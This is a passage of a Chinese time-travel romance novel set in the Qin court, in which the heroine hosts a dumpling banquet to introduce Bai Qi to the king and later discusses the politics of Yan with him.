而且就算是醋,这个时代也没有楚越想要的醋,只有醯(xi一声)和酢(cu四声)【8】,都是酸味的来源。 楚越大手一挥,都上,醯和酢都上,连蜂蜜也加上。 尊重个人口味,爱吃什么蘸什么。 嬴华和孟守来的最早,楚越还在厨间忙碌,嬴华的声音从外间传来,“好香啊,做了什么好吃的?” 楚越回头,嬴华已经进了厨房。 香? 楚越狐疑看向嬴华,嬴华一进门,便朝小鼎中望去,但见沸水滚滚,空无一物。 夸早了。 他一时有些尴尬,一扭头,恰好对上楚越打趣的目光,“我煮的可不是醴泉水,何来的香味?” “哈哈哈。”嬴华尴尬笑了声,“原是我来早了。” “公叔。”嬴荡和嬴稷朝嬴华行礼,嬴华抬手,摸了摸嬴荡的脑袋,又拧了嬴稷的小脸,“真乖。” 他身后,孟守行礼道:“两位公子,司巫。” 楚越颔首还礼,莞尔道:“既然来了,还请上座。” 孟守看向嬴华,嬴华点头,孟守退了出去,楚越对嬴荡道:“和弟弟洗干净手,我们要准备用膳了。” 等到厨房没了外人,嬴华才问道:“你要向王上请罪,叫上孟守做什么?” “我在军中那么久,多亏将军照拂、同袍襄助,我设一小宴,以做酬谢,既向王上请罪,又顺路向王上引见一下的战友同袍,一举两得,不是好事吗?” 嬴华蹙眉,“那你不应该请都尉和魏冉他们吗?” “你怎么知道我没请?” 嬴华眉头一蹙,似乎想到了什么,上下打量楚越一眼,“你真没有别的图谋?” 楚越嗫嚅,“我能有什么图谋” 她还想狡辩,但 屋外传来阵嘈杂,孟守惊愕道:“都尉,魏冉,白起,你们也来了!” 嬴华‘嘶’的吸口气,本能就想拧楚越的脸,手伸出去,顿了一下,落到她脑袋上。 “哪儿学的这么多弯弯绕绕,给我说实话。” 楚越愤愤瞪了嬴华一眼,到底还是说了真话,“白起。” 她这顿饺子,完全是为了白起这碟醋包的,她不喜欢欠别人的,既然答应了白起请吃饭,就请他吃一顿好的吧。 国宴之所以被称作国宴,不在食物,而在与宴之人。 饭局要攒起来,当然不能只有她一个人吃饭。 := 王后原本就担心她,想找个机会,让她向秦王认错,有王后在,秦王才能看她的面子,赏脸前来。 魏冉是王后的族人,也是芈夫人的弟弟。 引见孟守,嬴华也获利,他毕竟是王上的弟弟,好说话些,而且,目标多了,才能隐藏她的用意。 嬴华朝外望去,想了想,若有所思道:“好了,我知道了。” 他看了楚越一眼,目光忽然停留在她脸上,楚越注意到嬴华的视线,呼吸陡然一滞。 “怎么了?” “脸上沾了脏东西。”嬴华指了指她的脸。 楚越想可能是沾到了面粉,抬起袖子擦了擦,嬴华摇头,楚越又擦了擦,嬴华还是摇头,楚越似乎意识到什么,蹙眉怒道: “你耍我是不是?” 嬴华无奈笑了,朝她伸出手去,楚越微微侧首,随着那只手慢慢靠近,她的呼吸也渐慢了下来。嬴华轻轻拍去她额角垂下一缕头发上粘的面粉。 但拍了拍,他的目光慢慢凝住了。 第22章 宴会这是真国宴 嬴华盯着楚越,视线一动不动。 那道落在脸上的目光,比正午的骄阳还要灼热,楚越后退半步,侧首闪开,嬴华也意识到自己失礼,仓惶收回手。 “你你脸上的伤哪儿来的?” 嬴华的表情凝重,想看楚越,又不好直视,心内担忧焦急,斥责便脱口而出。 “你怎么就不爱惜自己一些?好端端破了相,日后怎么办?” 不由分说被骂了两句,楚越也急了,“那魏军要打我,我能怎么办,能保住命就不错了。” 两军交战,杀人都是家常便饭,又不是打架,没有打人不打脸的规矩。 嬴华一听,更生气了,转头看向楚越,望着她,半天说不出话,“你” 他气得没话说,怒冲冲离开了厨房。 楚越气得锤了案板一拳,身后传来‘咚’声沉闷,嬴华更生气了,回头瞪了楚越一眼。 饺子还没下锅,正事还未开始,楚越也来不及和嬴华生气,扭头交代疱人煮饺子,自己也离开厨房,等着迎接秦王与王后。 出了厨房,她便看见众人在院前围成一圈,不知在看些什么,楚越好奇上前,原是在看一只小猫。 乳灰的小猫,依偎白起怀中,嬴荡与嬴稷好奇的看着它,不时伸手摸摸它的头。嬴稷看看小猫,偶尔也会打量白起几眼。 “好可爱的小猫。”楚越不由出声道。 此一言既出,楚越明显感觉到几道目光都同时落在她身上,她环视众人一圈,瞧他们的神色,大概知道自己说错了话。 是可爱不对? 还是小猫不对? 战国是猫的,《诗经》里有“有熊有罴,有猫有虎【1】”字句,《庄子》也记载“骐骥骅骝,一日而驰千里,捕鼠不如狸狌”【2】。 猫没问题。 总不能是‘好’和‘的’有错。 那就是可爱。 这群大老粗,真没审美,和嬴驷一样,非要把狗驯得凶猛异常,难不成秦人对猫也是一样的标准。 真是武夫。赳赳武夫。楚越腹诽道。 “小猫不可爱吗?” 魏冉最先笑出声,楚越歪头看向他,魏冉只是笑,楚越狐疑蹙眉,嬴华也笑了,楚越瞪了他一眼,困惑的目光转向白起。 白起眼中含笑,“是猞猁。” 猞猁? 楚越有些尴尬,“哦。猞猁啊。” 原来是‘猫’错了,这不是猫,猞猁和猫长得很像,但长大后体型要比猫大,和一只中型犬差不多大小。而且长大之后的猞猁,耳朵要比猫要尖一些。 “送给你玩的。”白起将怀中猞猁幼崽递给楚越。 楚越一惊,“给我的?” “哪有空手来做客的道理。” 楚越小心翼翼接过猞猁,小猞猁崽越看越像猫,她好奇的打量着怀中小猞猁,白起的目光,全落在抱着猞猁的楚越身上。 嬴华看了一眼白起,似乎觉察到什么,他上下打量了下白起,出声提醒楚越道:“别抱了,赶紧去换衣服,大王和王后要过来了。” 得知秦王与王后要过来,众人皆是一惊。 王都尉看向嬴华,“公子,这。” “既来之,则安之。” 嬴驷与王后一出现,嬴荡与嬴稷便围了上去,“父王、母后,孩儿有佳肴要呈给父王、母后。” “嗯?”嬴驷看向两个孩子,“什么佳肴?” 楚越伸手,做了个请的姿势,神秘兮兮道:“请大王入座,稍候片刻,佳肴这就呈上。” “嗯?” 嬴驷与王后入内,见嬴华也在,“嬴华?你怎么也来了?” 众人纷纷向嬴驷与王后行礼,“见过王上、王后。” “回王上,臣弟自然是要来的,不仅要来,还要坐下好好品尝佳肴,才能消解连日来奔走之乏,你说是吧,司巫。” 说罢,他看向楚越,楚越瞪了他一眼,嘴上却还道:“是,公子也请上座。” 见状,嬴华笑了,王后见此,神情无奈,嬴驷扫了二人一眼,对楚越道:“你倒是的确该请嬴华上座,为他奉酒道谢。” “是,王上。” 嬴驷与王后落座,见与宴之人不少,随口道:“你这挺热闹啊。” 王后故作叹息,“都是楚越要谢之人,可见她这次闯出多大的祸端,也幸亏她机灵,出门在外,总有人相助,才安然回到咸阳宫。” 嬴驷环视一圈,没有说话。 众人依次落座,楚越与庖人将饺子、蘸碟呈上。 秦王作为一国之主,享受天下供奉,什么好吃的没吃过,楚越想要抓住他的味蕾,需得寻一个合适的时机。 人饿了,吃翡翠珍珠白玉汤都是香的。 所以管中午饭是最妥帖的。 一盘热气腾腾的饺子端到嬴驷面前,他显然没见过饺子,对这洁白,耳朵一样的食物,感到好奇。 他夹起一个,尝了尝。 “不错。” 嬴驷是真的饿了。 王上举了筷子,众人也纷纷动筷,一声细微异响,吸引众人注意力,楚越举目望去,发现竟然是嬴华,他没夹稳,饺子掉到了桌上。 君前失仪,嬴华当即请罪,“王上恕罪,前几日不小心伤了手腕。” 嬴驷大手一挥,“无碍,下次要当心。” 见嬴华用筷子不便,楚越当即起身,命人取来叉子,亲自将叉子换到了嬴华桌案。 趁着她放叉子的空档,嬴华低声问道:“你准备这么多,应该先蘸哪个?” 楚越侧首,嬴华神情认真。 刚才吵架的怒气莫名其妙都散了。 面前一排小漆碟,盛着各种蘸料,没吃过饺子的人,不知道应该先蘸什么碟。楚越的手抬起,指尖正好对准蜂蜜。 “这个。” 嬴华将信将疑,用叉子插起饺子,真蘸了蜂蜜,还未入口,一旁楚越先忍不住笑出声来,嬴华当即知道她在耍自己。 楚越抢先一步跑开,没让他抓住。 嬴驷抬眸,恰好见两人并席而坐,楚越低头忍笑跑开,嬴华含笑而无奈的视线,追逐在她身后。 他的目光愣了一下,随即看向王后,王后也会意,温柔一笑。 一盘饺子下肚,嬴驷询问楚越道:“这佳肴叫什么?” 楚越可是看过大长今的人,开始编故事了。 “回王上,是饺子。” “这是臣与公子们一起做的。” 嬴驷看向嬴荡和嬴稷,两位公子随即坐起,“父王。”老父亲脸上露出欣慰之色,“寡人有两个孝顺孩儿。” 王后在一旁道:“主意是楚越的主意,麦是荡儿舂的,荠菜是 稷儿摘的,还有魏冉和白起,猎物是他们送来给楚越的。” “嗯?魏冉?”嬴驷听到了熟名。 他不确定问道:“哪个魏冉?” “是芈夫人的弟弟。” 嬴驷蹙眉,“哦,是那个小子。” “魏冉,还不来拜见王上。”嬴华提醒道。 魏冉随即上前,“臣魏冉,见过王上。” 嬴驷看看魏冉,又看看楚越,“这也是你的恩人?” “大王有所不知,臣在军中,魏冉是我的长官,那些时日,多亏他与白起、孟守关照臣,尤其是白起,还教臣以从军心得与行军布阵之道。” 楚越将自己在军中的事情删减之后,讲了出来,包括她参加名将速成班、上阵杀敌、雨夜救人,还有魏冉帮她补衣服、白起帮她偷东西。 听楚越讲到白起偷东西,魏冉不由看了一眼白起,白起垂眸,若有所思,显然,他并不知道楚越已经知情。 她添油加醋,讲得绘声绘色,跟有声小说一样,周围人听得津津有味。 当然,该删减的还是要删减。 比如算了,不比如了。 嬴驷听完,骂道:“你一天就知道给王后闯祸,王后在咸阳宫日夜忧心。都尉治军,本就不易,将士征战,生死一线,还是额外照顾你,真是岂有此理。” “臣有罪。” 王都尉站了出来,为楚越说话,“王上,治军有军法,臣不敢贪功,司巫在军中,与寻常士卒无异,辛苦杀敌,奋战得爵,实乃我大秦女子表率。” 魏冉也道:“是,王上。起初,臣并不知司巫身份,所谓照顾,也不过同袍之间,守望相助,司巫能得爵,与臣无关,都是她自己的功劳。” 楚越被两人一夸,嘴角实在难以下压。 会夸,多夸,爱听。 “好了,寡人知道了。” 两人归席,夸夸节目暂时告一段落。 “白起呢。”嬴驷显然对白起有了几分兴趣,“能把如此朽木教得颇有章法,让寡人看看是何方神圣。” 白起闻声上前,“臣白起,见过王上。” 嬴驷打量眼白起,面前少年未及弱冠,却处变不惊,即便面王,也没有丝毫怯场,他眼中露出一丝肯定之色,“你很守秦法,也不死板。” “不管她是楚越还是张立春,是王子还是庶民,起都会施以援手,执法者,也要有人情,但人情,不能居于军法之上,臣被罚,心甘情愿。” 嬴驷眯眼,眼中隐约欣赏,“好小子,是带兵的料。” 白起按耐下心中激动雀跃,抱拳道:“臣定不负王上期许!为我大秦,建功立业。” “好!”嬴华拍案而起,“秦军有这样的后起之秀,何愁我大秦不能东出函谷。” 英雄相见,又开始惺惺相惜。 楚越适时端杯,向嬴驷与王后请罪,“王上、王后,臣有罪,不该私自离开咸阳,令王后担忧。” “罢了,你知错就好了,下次若是再犯,寡人一定不轻饶。” 嬴驷与王后举杯。 楚越第二杯酒,敬嬴华,“多谢公子。” 嬴华笑着举杯,一饮而尽。 第三杯酒,敬都尉、魏冉、白起、孟守四人,“我在军中,多亏诸位照拂。” 都尉道:“司巫乃女中丈夫,既是丈夫,便无需多言,干。” 几人饮尽杯中酒。 嬴驷朝政繁忙,并未多做停留,王后见嬴驷离去,怕自己在,众人不自在,不久后也离去,她伸手想拉走嬴荡与嬴稷,两人眼巴巴望着王后,不愿意回去。 楚越知道他们还念着猞猁,便对王后道:“臣一会儿送两位公子回去。” 王后见状,只能作罢,临走前,嘱咐楚越,要好好向公子华道谢。 众人起身,恭送二人离去。 两人一走,嬴华便得意道:“还不快好好谢谢我。” “我真的谢谢你!” 第23章 喜欢和远离似乎要远离所有喜欢 嬴华听懂她的阴阳怪气,却故意道: “既然谢,就要有诚意,再给我上一盘那个什么,饺子。还有,不许放蜂蜜。” 他侧首看向楚越,眉头微微蹙起,目光严肃。 楚越对上嬴华视线,忽然笑了下,“可是我看你很喜欢蜂蜜啊。” “你要是再耍我,我就” 威胁的话听多了,楚越已经免疫,梗着脖子问嬴华道:“就怎样?” 嬴华威胁着抬起了手,要拍她的后脑。 楚越早料到嬴华会有这么招,将身一闪,便灵活躲过,她接连后退几步,拉开和嬴华的距离,同时对疱人大喊: “给公子华再上一盘饺子,要放很多蜂蜜!” “你!” 似乎笃定嬴华不能拿她怎样,楚越一边后退,一边挑衅道:“我怎样?” 她对疱人道:“一定要放蜂蜜!” 大王与王后相继离开,气氛便轻松许多,院中众人一时都笑了,王都尉打趣道:“司巫,我可吃不惯甜食,蜂蜜就由公子独享好了。” “好。” “你们”嬴华无奈笑了。 疱人又煮了饺子,端上来,孟守将自己桌案上的酢端给嬴华,“公子,在下这份未曾动过。” “多谢。”嬴华颔首。 嬴荡与嬴稷吃饱了,拉着手去看篮子里的猞猁,楚越看了白起一眼,借着找两位公子由头,离席而去,没过多久,白起也出现在笼边。 “为什么要送我一只猛兽?”楚越望着憨态可掬的猞猁,低声道。 白起偷偷看了楚越一眼,“养个什么在身边,你晚上也许就不会做噩梦了。本来是想打一只彘,它的牙能安神,乡间经常用它辟邪除灾。但我打的太小了,没有合适的牙。” 楚越愣了一下。 野猪牙,可以用来辟邪安神? 她本能按上衣下的那串项链,麻衣下的坚硬,轮廓分明。 “那只是美好的期许的罢了,其实并没有用。”楚越的口气有些悲伤。 白起觉察到什么,看了她一眼,“有个活物在身边,或许会好一些。” 嬴荡和嬴稷觉察身后有人,回过头来,发现了白起,嬴稷站了起来,上下打量白起,开口问道:“你是谁?” “公子,在下白起。” 作为主人,楚越不能离席太久,她仅与白起说了几句话,便不得不折返,继续招待客人。 酒足饭饱,众人也该离开,王都尉等人向楚越道别。 楚越送几人到门口,白起抬首,望了楚越一眼,楚越对上他的视线,两人显然都有话要与对方说,但都尉与孟守等人俱在,两人只得行礼道别。 送走几人,嬴华还未离开,正和嬴荡、嬴稷看竹篮中的猞猁。 “那小子怎么想着送你只猞猁?”嬴华询问道。 他心中已经有了几分猜测。 楚越不答,而是问道:“你手怎么了?” 嬴华低头看了一眼自己手背,衣袖下,绷带缠绕,“被砸了一下,没什么大事。” “你还没告诉我,你和那小子是什么关系呢。”他追问道。 楚越头也不抬,“这还用说吗?自然是,知好色而慕少艾【1】。” 心中的猜测落实,嬴华并没有太过惊讶,“哦。” 许是对方的反应太过平静,楚越转过头,看向嬴华,“哦,是什么意思?” 嬴华站了起来,楚越也随之站起,看向身旁人,即便只有侧脸,依旧难掩嬴华英气逼人,鬓发顺着发髻的方向往上,更显得他脸部轮廓硬朗。 阳光斜照过来,光影朦胧视线。 楚越收回视线,低下头,口气变得强硬,“秦法没有规定,我和他不能在一起。” 嬴华看向楚越,目光逐渐复杂,他望着眼前楚越,心乱如麻,这是种从未有过的感觉。 不知为何,他忽然想起与楚越的初见,那时黄昏薄暮沉沉,她被卫夫人惩罚,垂头丧气的站在宫檐下。 见她垂头丧气,他心中总是不忍,于是想要靠近。 许多次,他都是这样,穿过宫殿前开阔的地带,朝她而去,对她说,好了,不 要不开心了。 他大步走向她,身旁人来人往,他却只望着她,等着她抬起头,等着那双亮晶晶的眼睛里,忧伤散去,喜悦重来。 遇到心爱的人,她不会不开心。 嬴华以为自己就会开心。 可是不知为什么,他开心不起来,心中似乎有块地方塌陷下去,空落落的。 嬴华不知道,缺失的东西到底是什么。 “你”他张了张口。 楚越抬头,认真看向嬴华,“怎么了?” 望着眼前少女,恍惚间,嬴华想起了自己做过的一个梦,可是他梦到了什么呢? 梦,总是醒来就忘记了,不管当时多么刻骨铭心,睁开眼睛,就渐渐远去。 短暂的想起,又被遗忘在风中。 他决定不再去想,而是郑重道: “只要你喜欢他,和他在一起会开心,没什么不可以。我会帮你,你要开心的过完这辈子。” 闻此,楚越忽然笑了,“那我,要谢你吗?” “那倒也不用,到时候多敬我几杯就好了。” 楚越按耐下心头无名怒火,对嬴荡与嬴稷道:“两位公子,该回去了。” 两人对猞猁念念不舍,楚越要送他们回去,他们一步三回头,望向篮中猞猁,楚越不得不拽了下他们的手,“走了。” “姊姊,我和稷弟弟明天可以过来看小猞猁吗?”嬴荡问道。 楚越莞尔,“公子们大驾光临,蓬荜生辉。” 她将两人送回王后身边,王后命傅姆领二人退下更衣,招手,示意楚越在她身边坐下。 楚越坐定,王后开口道:“你今日做的很好,大王已经不生你气了。” “王后。”楚越低头,在她继续夸嬴华之前,抢先道:“之前,王后所言之事,臣认真想过。” “哦?”王后眼前一亮,以为楚越终于想通。 谁料她却道:“臣听说,齐国有巫儿,终身不嫁,臣愿意效仿。” 回咸阳之前,楚越日夜冥思苦想,在离开秦国,和继续被催婚之间,纠结、犹豫。 她到底没有离开秦国的决心。 可嫁人也是不可能嫁的,嬴轩都不嫁还能嫁嬴华吗? 这么耍她,有意思吗? 她日夜难寐,终于在某个深夜,一拍大腿从床上坐了起来,忘记什么时候看到过的一篇论文给了她灵感。 齐国曾广泛流行过“姑姊妹不嫁”的遗风,无论是国君还是民间,长女不嫁,留在家中主持祭祀。 真知识改变命运! 有了大方向,楚越夜翻史书,为自己不嫁找理论依据,但比较倒霉,齐国这项先进的习俗,春秋初期后便不再见于记载。 春秋战国争霸,人口十分重要,这样的习俗,显然不适应时代发展,被齐国以律令方式,强制改变。 各国也是一样,强制结婚、分家,以获得更多的户口、赋税、徭役。 楚越气得捶床,一口咬上竹简,恨不得将那该死的律令吃了。 有总比没有,楚越尝试着将齐国旧俗提出。 王后听完,气得捂住胸口,“齐之巫儿,乃是桓、襄与姑姊妹□□【2】,你休要胡言。” 楚越吓得一把捂住嘴。 怎么把这茬忘了。 齐国是个盛产骨科的国家,南山崔崔,雄狐绥绥【3】,哥哥爱妹妹,妹夫倒霉又悲催。 看论文时摸鱼,知识有一半没进脑子,巫儿的形成,她就记得和齐国的工商经济发达,以及原始宗教的影响有关。 这时代史官工笔,又搞春秋笔法,没有注解,就那么几个字,她怎么研究得懂。 她只是个倒霉的研究生,不是大拿。 拿不起来。 王后显然被她气到了,“我原以为你此番会有所长进,能分辨出身边谁人真心待你,谁料你还是丝毫没有长进,居然拿这样的话来搪塞小童。” “你也莫要诓骗于我,说吧,是谁?”她没好气道。 “王后。”楚越深吸口气,似乎下定了某种决心,“王后觉得白起如何?” “谁?”王后望着楚越,微微愣神,似乎在回想白起的脸,“你是说那个眼睛很黑的少年?” “正是。” 王后短暂沉默,片刻,才开口道:“看来小童的话,你是一句也没有听进去。” 她的语气沉重,压抑愠怒。 “小童还以为,你将小童的话听进去了,故而邀请公子华,原是小童想错了,你打的是这个主意。” 楚越的心沉了下去,如果连王后都不支持她,那她完全找不到第二个支持她实权派。 她还未想好措辞,为自己争取,手腕却陡然被王后抓住,她愕然抬头,对上王后凝重而严肃的双眼。 “你若对他真心,就该将这份情谊藏起来,否则,只会为你两人招来祸端。且不说大王知道会如何,就说嬴轩,你选择了一个身份、地位都不如他的人,你让身为公孙的他颜面放在何处?” “宗室又如何作想?有大王在,他们自然不敢将怒火对准你,可是那少年呢?他,和他的家族,有与嬴氏宗族对抗的能力吗?” “你会害了他。” 楚越瞳孔一紧,立刻摇头,“不!” 这是她不愿意看到的。 “不想的话,你就当这件事从未发生过,你从未和小童说过这样的话。”王后斩钉截铁道。 楚越望着王后的眼睛,脑内一时思绪混乱,可是再一想,王后所说,也绝非没有道理。 她失魂落魄的离开王后寝宫,回到自己的居所。 宫人迎了上来,“司巫。” 顺着宫人的实现望去,屋中身影端坐,嬴华去而复返,正在屋中等她,楚越入内,嬴华见她神情恍惚,问道:“怎么了?” “你怎么又回来了?” “你什么时候跟嬴轩登门赔罪?” 楚越深吸口气,望向嬴华,“嬴华。” 嬴华看向她,“怎么了?” “你能不能,别管我了。” 她的语调压抑,却望着他,一字一句,说的郑重。 第24章 你要等他吗二选一,她选或者 傍晚时分,雨淅淅沥沥的下了起来,越下越大,到了天黑,又吹起风,风雨拍打窗棂,沙沙作响。 窗外风雨如晦,屋中一豆灯火微弱,在床边摇曳,楚越双手抱膝,独坐桌案边,盯着桌面出神。 帛书摊开桌面,边缘已经泛黄,小篆笔画歪扭,但轮廓却有力。似乎是一个不太擅长篆书的人,临摹所作。 “君生我未生,我生君已老。” 过去的时间太久,楚越已经忘记自己当初究竟怀着怎样的心境,写下这封帛书,只记得那一夜的雨也很大,风吹得天启阁院中的树,枝叶作响。 嬴华这次是真生气了,一声不吭转身离开。 这似乎正应了楚越所想,她不想再见到他,不想再和他有一分一毫的联系 可真的迈出这一步,走到断绝的边缘,才发现,自己会如此不舍与难过。 不知不觉,她又在一个风雨大作的夜晚,将这束之高阁、尘封木匣的帛书取出,重新观摩。 那些隐藏在黑夜中的情愫,最终酿成苦涩的泪水,她还记得那些难眠的夜,和划过脸颊的热意。 所谓愤怒,不过源于对现状的无能为力。 可她还能怎么样? 不是去拆散那个家,是去加入那个家的吗? 割舍固然痛苦,可人总要往前看。 她叹口气,重新将帛书收了起来,正准备就寝,敲门声却忽然响起,寺人在外道:“司巫,大王有请。” 秦王? 怎么,天黑了他也EMO了。 楚越闻命,严装去面见嬴驷。 寺人通禀后,楚越进入大殿,嬴驷正俯首案牍之间,满面愁容。 果然。 见楚越来了,他才坐直身体,一招手示意她上前,宫人取来坐垫,楚越在桌案边坐下。 嬴驷将一卷竹简递给她,楚越打开一看,是驻燕使臣带回来的消息,燕王 哙不仅立太子平,还将王后所出的公子职,送到韩国为质。 五国相王,燕国与韩国名列其中,派出质子,不过牢固同盟,质子,是战国各国经常使用的策略之一。 楚越一时困惑,看不出这封寻常的竹简,究竟暗藏什么玄机,只得垂眸,暗中思索起来。 嬴驷似乎对燕国的内政十分关心,已经超过了一位君主对邻国内政的关心程度。 先前晚宴,嬴驷表露出对燕王立太子平的不满时,楚越就已经感到困惑,她不曾听说太子平有什么反秦的主张,但嬴驷明显对燕王立太子平十分不满。 本欲一探究竟,却因为事多,一时忘记了。 该死。再也不贪图男色了。 伴君如伴虎,楚越立刻打起了十二分的精神,生怕自己饭碗不保。 再一想,她心中不免多了几分猜测。 要么是燕国此举,与列国动向有关,事关秦国安危,要么,是与嬴驷自己有关。 五国相王目的在对抗秦、齐、楚等大国,注定成不起气候。 大国会合纵,试图瓦解同盟,盟国内部,也是同床异梦,赵国总想吞并中山国,怎会与他盟好? 楚越越想,越觉得嬴驷不是为此事忧心。 那是什么? 老板的心思真难猜啊。 她怎么就没觉醒什么读心术。 从嬴驷身上想不到结果,楚越将思绪投向燕国。 现在的燕王哙【1】,也是一位非常著名的战国君主。 虽然这个名不是美名,但好歹也出名了,不至于湮灭在浩瀚的历史长河中。 燕王哙被大臣忽悠瘸了,非要效仿上古贤人,跳过自己的太子,禅让给丞相子之。 太子平不甘失去那广袤土地、万万贯家财的继承权,起兵和子之决一死战。 齐国趁燕国内乱,举兵来犯,仅仅五十天,就攻破了燕国的都城蓟城。子之杀了太子平,齐国人杀了子之和燕王哙。 差一点战国七雄就少一雄,燕王哙居功至伟。 下一任燕王,燕昭王姬职,是在秦国和赵国的帮助下,成功继位的。 赵国帮一帮敌人的敌人无所谓,但秦国大费周章,派兵穿过三晋之地,护送燕昭王回国,就有些非同寻常。 楚越联合史料与嬴驷的担忧猜测,可能是因为这位燕王的母系,出自于秦。 护送本国女子的孩子回去继承家产,有什么问题? 同理,本国公主的孩子没有被立为太子,还被送到韩国为质,嬴驷能高兴吗? 嬴驷接下来的话,也验证了楚越的想法。 “当年寡人嫁公主去燕国的时候,曾向她承诺,秦国,一定会是她坚实的后盾,可现在看来,她反因秦国,而母子分离。” 楚越并未见过那位公主,可见她出嫁燕国,是在自己来到秦国之前。 再一想。 她第一次见嬴驷,彼时他不过弱冠之年,二十出头。 这个年纪的秦君,应该没有一位适龄的女儿嫁往燕国,所以嫁燕的王后,只能是嬴驷的姊妹,孝公的女儿【2】。 “那时寡人刚登基不久,齐国马陵之战挫败魏国,两国在徐州相王,魏王承认齐王的王位,齐国蒸蒸日上,秦国当然不能坐看。” 楚越当即明白秦国嫁公主去往燕国的原因。 燕齐接壤,常有摩擦,齐国经常趁燕国王位交替,偷袭燕国,但燕人也是有脾气的! 两国是老邻居,也是死对头。 敌人的敌人,就是朋友。 想要牵制齐国之势,就得支持他们的敌人。况且燕国与秦国相去甚远,交好有利无害,还能在齐国背后,牵制它。 “公主出嫁时,正值加笄之年,年轻美丽,而那太子已经一把年纪,公主为国出嫁,牺牲良多。” 嬴驷忧心道:“寡人担忧公主在燕啊。” 人到晚间总易多愁善感,即便贵为秦王,也不能例外,君王肩负天下,只言片语,便决定无数人前途命运。 嬴驷不是圣人,看不到将来,也不能将事情做得十全十美,总有错漏、偏颇,一时遇挫,也会不断反思自己的行为,从而内耗。 这一次,他为他的姊妹而担忧。 “司巫觉得燕王哙如何?是雄主否?” 绕了一圈,嬴驷终于问到了主题。 楚越的心沉了下来,答复道:“不是。” “哦?” 嬴驷喜欢听楚越评价各国君主。 桑丘之战,秦国出兵不久,还未与齐国交战,嬴驷探病楚越时,无意提到过齐王。 楚越嘴快,夸了齐王一句‘任用贤能’。 嬴驷当即深深看了她一眼,“你还知齐王?知道‘任用贤能’?” 死嘴。说这么快做什么? 楚越当即汗流浃背,脑中一片空白,这一句话说出去,病就白装了。 她大大的编制啊,可不能就这么没了。 人到绝境,于是灵光一现,“君上有所不知,齐王也非常人,只是可惜臣在咸阳,又抱病在身,不能亲自上战场一观。” 把关于法术的设定改小一点,添加距离限制。 嬴驷:“哦?” 楚越并没有胡说,桑丘之战大败秦国的齐王,是齐威王。 人这会儿还活着,谥号威不能用,列国称其为齐王。 无论是对历史的贡献,还是对高中语文教科书的贡献,齐威王都是战国时数一数二的存在。 一鸣惊人就是他,蛰伏三年,一朝冲天。 能面刺寡人之过者,受上赏也是他。 他手下有跟城北徐公比美的邹忌、赛马的田忌、大名鼎鼎的淳于髡、还有孙膑。将来战国四君子之一的孟尝君,是他的孙子。 稷下学宫在他手中辉煌,亚圣孟子常住稷下三十余年,后圣荀子三次担任稷下学宫祭酒。 开创阴阳五行学说的邹衍、道家的庄子、法家的申子、研究黄老的慎子,都在稷下讲学。 申子还有两个徒弟,李斯和韩非。 打齐国?还是打国力鼎盛的齐国?怎么打? 桑丘之战前,楚越就通宵研究过此时的齐国,研究了几天几夜,发现自己根本研究不出来取胜之道。 别说她是穿越的,她就是蜘蛛侠、灭霸,也打不过。 除非她连夜在这个铁器都没有普及的时代,造出热武器。 那还是变成蜘蛛侠稍微简单点。 楚越承认秦国很强,但齐国也并非弱小之国。 当着自己老板的面,夸别公司的大老板。楚越越讲越心虚,一边讲,一边偷偷打量嬴驷的脸色。 幸而嬴驷也不是小气的人,没让她‘一封朝奏九重天,夕贬潮阳路八千’。没过多久,秦国战败的消息便传回咸阳,嬴驷紧急派遣陈轸为使,与齐重修旧好。 那之后,嬴驷便时常找楚越讨论各国君王,楚越也能说上一二,她当然没有评价的能力,但后世有很多史学家评论过战国这些君主,遂借鉴之。 读书的人事情,怎么能说偷。 叫借鉴。 记得住说,记不住的乱编,照着答案编过程,历史是人创造的,她就是人。 楚越说的话,总会在冥冥之中,应验成真,她不会自己去提,但她知道,嬴驷记得。 她是大老板亲自提拔的人,只对大老板负责,只要大老板还信任,饭碗就是稳的。 今天编到燕王哙,但这个记得住,不用编。 “君主任用贤能,广开言路,励精图治,是贤明,但物极必反,燕王,怕是会死于‘贤明’二字。” 太贤了,非要传位给丞相,战国头一遭。 嬴驷眉毛一蹙,“哦?” “王上不必为公主担忧,公子职为质韩国,未尝不是好事,燕王重用丞相,太子平已经年长,一国之中,掌权者众多,焉知来日。” 嬴驷依旧忧心忡忡。 楚越决定下一剂猛药,“大王难道不相信臣看人的眼光吗?” 她都穿越了,还能骗人吗? 嬴驷忽然抬眸,扫了她一眼,冷笑声,“你的眼光?你能有什么眼光?放着宗 室的子弟,寡人的弟弟一眼不看,看中个什么?” 楚越心一惊,“大王。” 话题怎么忽然三百六十度大转弯到了她身上? “你以为你那点心思,寡人看不出来吗?懒得与你计较罢了。” 嬴驷不愧是当老板的人,看破不说破。 楚越抢先一步请罪道:“大王,臣有罪。” “你有什么罪?”嬴驷来了兴趣,望着楚越问道。 楚越一时哑然。 她没罪,她有什么罪? 请大王吃饭罪吗?还是吃饭时候夹带私货罪? 死嘴,认罪认这么快做什么! “臣”楚越决定给自己编点小罪,圆过去。 “大王与王后让臣谢公子华,臣捉弄了他,有罪。” 嬴驷没好气笑了,“蠢若是罪,你该被车裂。” “大王!” 她可不要变成五块。 “行了。”嬴驷拿起桌上竹简,一边看一边问楚越道: “说说吧,你既然想引荐人,寡人也自然不能做闭塞耳目的庸主,那小子有什么长处?若是胆敢任人唯亲,决不轻饶!” “大王,白起精于治军,长于兵法,臣相信他,有朝一日定能令列国胆寒,成为我大秦东出的一把利剑。请大王拭目以待。” ‘拭目以待’一出,嬴驷不由看了一眼楚越。 这句话,她许多年前初入秦国时说过,那之后就没再说过。 “你就如此信任他?”嬴驷问道。 “大王,会有那一日的。”楚越笃定道。 赢驷放下竹简,郑重问道:“你是要等他成为将星的那一日?” 楚越愣了一下,怎么又扯到她身上了,不是举荐白起,阐明一下他的优点吗?难道接下来不应该是走流程,考察一下这个人才,跟她有什么关系? 等他吗? 楚越有些犹豫,王后的话,尚在耳边回荡。 她的心,也依旧彷徨。 “大王,臣还是想建功立业。” a或者b。 她选‘或者’。 “臣之前已经是公士了。”楚越面容坚定而严肃 嬴驷恨铁不成钢,“滚出去。” 第25章 生气昨天生气一个,今天生气一个…… 一场大雨,让围猎暂时正止,雨后道路泥泞难行,次日嬴驷并未前往原上狩猎,而是召集了大臣,在猎宫商议政务。 使者分两路,一路前往燕国,一路往魏,去见张仪。 一大早,嬴荡就和嬴稷一道来看猞猁,楚越正在为小猞猁挑选‘乳母’,两头山羊,一大一小,咩咩叫着,因闻到了猛兽的气味而焦躁不安。 